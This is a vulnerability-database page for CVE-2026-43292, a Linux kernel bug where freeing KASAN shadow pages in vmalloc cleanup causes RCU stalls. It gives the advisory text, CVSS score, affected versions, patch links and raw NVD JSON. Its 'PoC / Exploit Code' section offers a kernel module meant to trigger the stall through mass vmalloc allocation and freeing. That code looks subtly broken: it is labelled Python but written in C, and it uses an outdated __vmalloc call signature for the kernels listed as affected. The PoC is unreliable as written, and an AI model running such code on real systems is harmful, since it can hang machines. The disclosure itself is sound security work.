CVE-2026-43292

Description

In the Linux kernel, the following vulnerability has been resolved: mm/vmalloc: prevent RCU stalls in kasan_release_vmalloc_node When CONFIG_PAGE_OWNER is enabled, freeing KASAN shadow pages during vmalloc cleanup triggers expensive stack unwinding that acquires RCU read locks. Processing a large purge_list without rescheduling can cause the task to hold CPU for extended periods (10+ seconds), leading to RCU stalls and potential OOM conditions. The issue manifests in purge_vmap_node() -> kasan_release_vmalloc_node() where iterating through hundreds or thousands of vmap_area entries and freeing their associated shadow pages causes: rcu: INFO: rcu_preempt detected stalls on CPUs/tasks: rcu: Tasks blocked on level-0 rcu_node (CPUs 0-1): P6229/1:b..l ... task:kworker/0:17 state:R running task stack:28840 pid:6229 ... kasan_release_vmalloc_node+0x1ba/0xad0 mm/vmalloc.c:2299 purge_vmap_node+0x1ba/0xad0 mm/vmalloc.c:2299 Each call to kasan_release_vmalloc() can free many pages, and with page_owner tracking, each free triggers save_stack() which performs stack unwinding under RCU read lock. Without yielding, this creates an unbounded RCU critical section. Add periodic cond_resched() calls within the loop to allow: - RCU grace periods to complete - Other tasks to run - Scheduler to preempt when needed The fix uses need_resched() for immediate response under load, with a batch count of 32 as a guaranteed upper bound to prevent worst-case stalls even under light load.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Git commits before 1afe45f89d54b7183768ebbbbf14238ec187ab5c)

Linux Kernel (Git commits before 2efa9c02c9b4c0d6866aa445f11056809b25ca28)

Linux Kernel (Git commits before 5747435e0fd474c24530ef1a6822f47e7d264b27)

Linux Kernel (Git commits before b351fbe71091f7c8676c8ba597653d08b6719447)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43292
 * This kernel module attempts to trigger the RCU stall by allocating
 * and freeing a large number of vmalloc areas.
 * Compile with: make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
 */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/vmalloc.h>

#define ALLOC_COUNT 20000

static int __init poc_init(void)
{
    void **ptrs;
    int i;

    ptrs = vmalloc(sizeof(void *) * ALLOC_COUNT);
    if (!ptrs)
        return -ENOMEM;

    printk(KERN_INFO "CVE-2026-43292 PoC: Starting allocation...\n");

    // Allocate a large number of vmalloc areas
    for (i = 0; i < ALLOC_COUNT; i++) {
        ptrs[i] = __vmalloc(PAGE_SIZE, GFP_KERNEL | __GFP_NOFAIL, PAGE_KERNEL);
    }

    printk(KERN_INFO "CVE-2026-43292 PoC: Freeing memory to trigger purge...\n");

    // Free them to trigger kasan_release_vmalloc_node
    // This may cause RCU stall if CONFIG_PAGE_OWNER is enabled and patch is missing
    for (i = 0; i < ALLOC_COUNT; i++) {
        vfree(ptrs[i]);
    }

    vfree(ptrs);
    return 0;
}

static void __exit poc_exit(void)
{
    printk(KERN_INFO "CVE-2026-43292 PoC: Exiting.\n");
}

module_init(poc_init);
module_exit(poc_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("PoC for CVE-2026-43292 RCU Stall");

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43292
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43292
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43292/
[4] VulDB https://vuldb.com/cve/CVE-2026-43292
[5] https://git.kernel.org/stable/c/1afe45f89d54b7183768ebbbbf14238ec187ab5c
[6] https://git.kernel.org/stable/c/2efa9c02c9b4c0d6866aa445f11056809b25ca28
[7] https://git.kernel.org/stable/c/5747435e0fd474c24530ef1a6822f47e7d264b27
[8] https://git.kernel.org/stable/c/b351fbe71091f7c8676c8ba597653d08b6719447

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43292", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:36.250", "lastModified": "2026-05-14T21:04:41.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/vmalloc: prevent RCU stalls in kasan_release_vmalloc_node\n\nWhen CONFIG_PAGE_OWNER is enabled, freeing KASAN shadow pages during\nvmalloc cleanup triggers expensive stack unwinding that acquires RCU read\nlocks. Processing a large purge_list without rescheduling can cause the\ntask to hold CPU for extended periods (10+ seconds), leading to RCU stalls\nand potential OOM conditions.\n\nThe issue manifests in purge_vmap_node() -> kasan_release_vmalloc_node()\nwhere iterating through hundreds or thousands of vmap_area entries and\nfreeing their associated shadow pages causes:\n\n rcu: INFO: rcu_preempt detected stalls on CPUs/tasks:\n rcu: Tasks blocked on level-0 rcu_node (CPUs 0-1): P6229/1:b..l\n ...\n task:kworker/0:17 state:R running task stack:28840 pid:6229\n ...\n kasan_release_vmalloc_node+0x1ba/0xad0 mm/vmalloc.c:2299\n purge_vmap_node+0x1ba/0xad0 mm/vmalloc.c:2299\n\nEach call to kasan_release_vmalloc() can free many pages, and with\npage_owner tracking, each free triggers save_stack() which performs stack\nunwinding under RCU read lock. Without yielding, this creates an\nunbounded RCU critical section.\n\nAdd periodic cond_resched() calls within the loop to allow:\n- RCU grace periods to complete\n- Other tasks to run\n- Scheduler to preempt when needed\n\nThe fix uses need_resched() for immediate response under load, with a\nbatch count of 32 as a guaranteed upper bound to prevent worst-case stalls\neven under light load."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.9", "versionEndExcluding": "6.12.75", "matchCriteriaId": "F8A1C6F6-2847-4C53-ABFC-8F07D96900D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1afe45f89d54b7183768ebbbbf14238ec187ab5c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2efa9c02c9b4c0d6866aa445f11056809b25ca28", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5747435e0fd474c24530ef1a6822f47e7d264b27", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b351fbe71091f7c8676c8ba597653d08b6719447", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}